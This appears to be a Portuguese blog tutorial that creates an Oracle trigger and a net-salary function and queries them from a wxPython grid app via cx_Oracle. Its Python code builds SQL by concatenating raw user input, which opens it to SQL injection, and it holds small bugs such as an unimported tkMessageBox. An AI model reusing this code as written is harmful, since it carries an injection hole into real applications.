O programa abaixo é muito similar ao programa anterior que cria uma trigger, porem o calculo do campo SLIQUIDO é efetuado através de uma função do mesmo nome, na query que retorna o set de dados para a grade, você pode notar que esta função possui uma sintaxe muito semelhante as funções ou métodos do qual você já está acostumado, exceto pelo banco de dados MSSQL que necessita que o proprietário da função seja declarado antes do nome da função.

Function - Python

Function – Python

Exemplo:

Neste exemplo utilizamos uma simples função escalar para efetuar um calculo e retornar um valor, utilize o script abaixo para criar os objetos necessários para cada banco de dados ou o banco de dados da sua preferencia.

SQL

Oracle

create table Funcionarios(
  ID_Funcionario  NUMBER(5),
  Nome            VARCHAR2(30),
  Sobrenome       VARCHAR2(70),
  Cargo           VARCHAR2(30),
  Salario         NUMBER(9,2));

-- Cria Funcionarios
Insert into FUNCIONARIOS values (1,'Steve','Gates','Programador',2550.56);
Insert into FUNCIONARIOS values (2,'Bill','Jobs','Diretor',5143.71);
Insert into FUNCIONARIOS values (3,'Wozniak','Gates','Desenvolvedor', 4389.21);

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO NUMBER,
  PORCENTAGEM NUMBER(9,2));

-- Cria tabela de lançamentos de descontos
Create table SALARIO (
  ID_FUNCIONARIO NUMBER,
  DATA_LANC  DATE,
  VDESCONTO NUMBER(9,2));

-- Deleta dados antigos
-- Caso utlizou exemplos anteriores
delete from desconto;
delete from salario;

-- Cria trigger na tabela Desconto
create or replace TRIGGER DESCONTO_INSERT
   BEFORE INSERT ON DESCONTO
   FOR EACH ROW

   -- Declara variáveis
   DECLARE pID NUMBER;
           pSalario NUMBER(9,2);
           pPorcentagem NUMBER(9,2);
   BEGIN   

    -- Alimenta variáveis com os valores a serem inseridos
    pID := :new.ID_FUNCIONARIO;
    pPorcentagem := :new.PORCENTAGEM;

    -- Seleciona Salario do funcionario corrente
    Select SALARIO INTO pSalario FROM FUNCIONARIOS
    WHERE ID_FUNCIONARIO = pID;

    -- insere na tabela de lançamentos de salario
    Insert into SALARIO
     values (
             pID,
             SYSDATE,
             (pSalario * pPorcentagem)/100);

   END DESCONTO_INSERT;

-- Cria Função
Create or replace function
    sLiquido(sal IN NUMBER, vdesc IN NUMBER)
    RETURN NUMBER IS resultado NUMBER (9,2);
  BEGIN
    resultado := sal - vdesc;
    return (resultado);
  END;

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Desenvolvimento Aberto
# FunctionOracle.py

# importa modulos
import wx
import wx.grid
import cx_Oracle

# Cria classe generica de uma WX.Grid
# A classe abaixo faz parte da documentação WXPython oficial
# Este trecho de código é util para manipular a grade

class GenericTable(wx.grid.PyGridTableBase):
    def __init__(self, data, rowLabels=None, colLabels=None):
        wx.grid.PyGridTableBase.__init__(self)
        self.data = data
        self.rowLabels = rowLabels
        self.colLabels = colLabels

    def GetNumberRows(self):
        return len(self.data)

    def GetNumberCols(self):
        return len(self.data[0])

    def GetColLabelValue(self, col):
        if self.colLabels:
            return self.colLabels[col]

    def GetRowLabelValue(self, row):
        if self.rowLabels:
            return self.rowLabels[row]

    def IsEmptyCell(self, row, col):
        return False

    def GetValue(self, row, col):
        return self.data[row][col]

    def SetValue(self, row, col, value):
        pass     

# Inicializa Grade
dados = []
colLabels  = []
rowLabels = ("1", "2", "3", "4", "5", "6", "7", "8", "9", "10")

# Cria conexão
def conectarORA():
    sconexao = "user/pa55w0rd@localhost/XE"
    try:
       con = cx_Oracle.connect(sconexao)
    except ValueError:
       tkMessageBox.showinfo(title="Menssagem", message="Erro de Conexão", parent=janela)
    return con

# Executa e retorna SQL
def retornaTabelaORA(sql, con):
     cursor = con.cursor()
     cursor.execute(sql)
     return cursor

def retornaDados(idfunc):
    # Cria conexão
    con = conectarORA()
    # Envia dados a grid

    sql = "Select A.ID_FUNCIONARIO, " + "A.NOME, " + " A.CARGO, " + \
          " A.SALARIO, " + "B.PORCENTAGEM, " + "C.VDESCONTO, " + \
          "C.DATA_LANC,  " + \
          "SLIQUIDO(A.SALARIO, C.VDESCONTO) AS SLIQUIDO " +\
          "from FUNCIONARIOS A, DESCONTO B, SALARIO C " + "Where " + \
          "A.ID_FUNCIONARIO = B.ID_FUNCIONARIO  AND " + \
          "A.ID_FUNCIONARIO = C.ID_FUNCIONARIO  AND " + \
          "A.ID_FUNCIONARIO = " + idfunc
    # retorna set de dados
    tabela = retornaTabelaORA(sql, con)

    # Retorna metadados da tabela
    for i in range(0, len(tabela.description)):
        colLabels.append(tabela.description[i][0])

    # Executa um fecth em todos os registros
    resultado = tabela.fetchall()

    # Popula dados
    for conteudo in resultado:
        dados.append(conteudo)

# Cria classe da grid
class SimpleGrid(wx.grid.Grid):
    def __init__(self, parent):
        wx.grid.Grid.__init__(self, parent, -1, pos=(5,90), size=(850,200))    

# Cria formulario
class TestFrame(wx.Frame):
    def __init__(self, parent):
        wx.Frame.__init__(self, parent, -1, "Desenvolvimento Aberto - Functions - Python", size=(900, 350))
        panel        = wx.Panel(self, wx.ID_ANY)
        label        = wx.StaticText(panel, -1, label='Oracle Database - Function ->', pos=(300,10))
        lfuncionario = wx.StaticText(panel, -1, label='Cod funcionario:', pos=(20,50))
        self.funcionario  = wx.TextCtrl(panel, size=(100, -1), pos=(120,50))
        lporcentagem = wx.StaticText(panel, -1, label='Porcentagem (%):', pos=(260,50))
        self.porcentagem  = wx.TextCtrl(panel, size=(100, -1), pos=(360,50))
        botao        =   wx.Button(panel, label="Inserir", pos=(480,50))
        botao.Bind(wx.EVT_BUTTON, self.botaoInserir)
        self.grid         = SimpleGrid(panel)

    #Insere dados e dispara trigger
    def botaoInserir(self,event):
        # Conecta e cria um cursor
        con = conectarORA()
        cursor = con.cursor()
        # Insere clausula SQL
        sql = "insert into DESCONTO VALUES (" + self.funcionario.GetValue() + ", " + self.porcentagem.GetValue() + ")";
        # Executa e comita a transação
        cursor.execute(sql)
        con.commit()
        # Retorna set de dados
        retornaDados(self.funcionario.GetValue())
        # Limpa grade
        self.grid.ClearGrid()
        # Insere set de dados contidos em um tuplas
        tableBase = GenericTable(dados, rowLabels, colLabels)
        self.grid.SetTable(tableBase)
        # Atualiza grade
        self.grid.ForceRefresh()

# Inicializa a aplicação
app = wx.PySimpleApp()
frame = TestFrame(None)
frame.Show(True)
app.MainLoop()